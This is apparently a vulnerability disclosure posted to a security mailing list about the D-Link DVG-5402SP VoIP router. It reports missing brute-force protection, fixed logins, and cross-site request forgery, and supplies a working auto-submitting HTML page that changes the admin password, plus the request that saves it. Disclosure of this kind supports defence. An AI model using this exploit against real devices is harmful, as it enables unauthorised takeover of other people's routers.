Hello list!
There are Brute Force, Abuse of Functionality and Cross-Site Request Forgery
vulnerabilities in D-Link DVG-5402SP VoIP Router.
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Affected products:
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Vulnerable is the next model: D-Link DVG-5402SP, Firmware RU_1.01. Other
versions also must be vulnerable.
Since December 2014 the developers didn't answer me concerning
vulnerabilities in DVG-5402SP and other D-Link devices, which I informed
them about.
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Details:
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Brute Force (WASC-11):
http://site
There is no protection from BF attacks in login form.
Abuse of Functionality (WASC-42):
Fixed logins: "admin" and "user". Which simplifies attacks.
Cross-Site Request Forgery (WASC-09):
Change admin's password:
D-Link DVG-5402SP CSRF-1.html
<html>
<head>
<title>D-Link DVG-5402SP CSRF exploit (C) 2016 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/goform/AspPost" method="post">
<input type="hidden" name="K13" value="1">
<input type="hidden" name="ot_confirm_password_K13" value="1">
</form>
</body>
</html>
Cross-Site Request Forgery (WASC-09):
After the change, the password must be saved and the device restarted by
separate GET request:
http://site/ConfigBackupForm.asp
I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7547/).
Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua
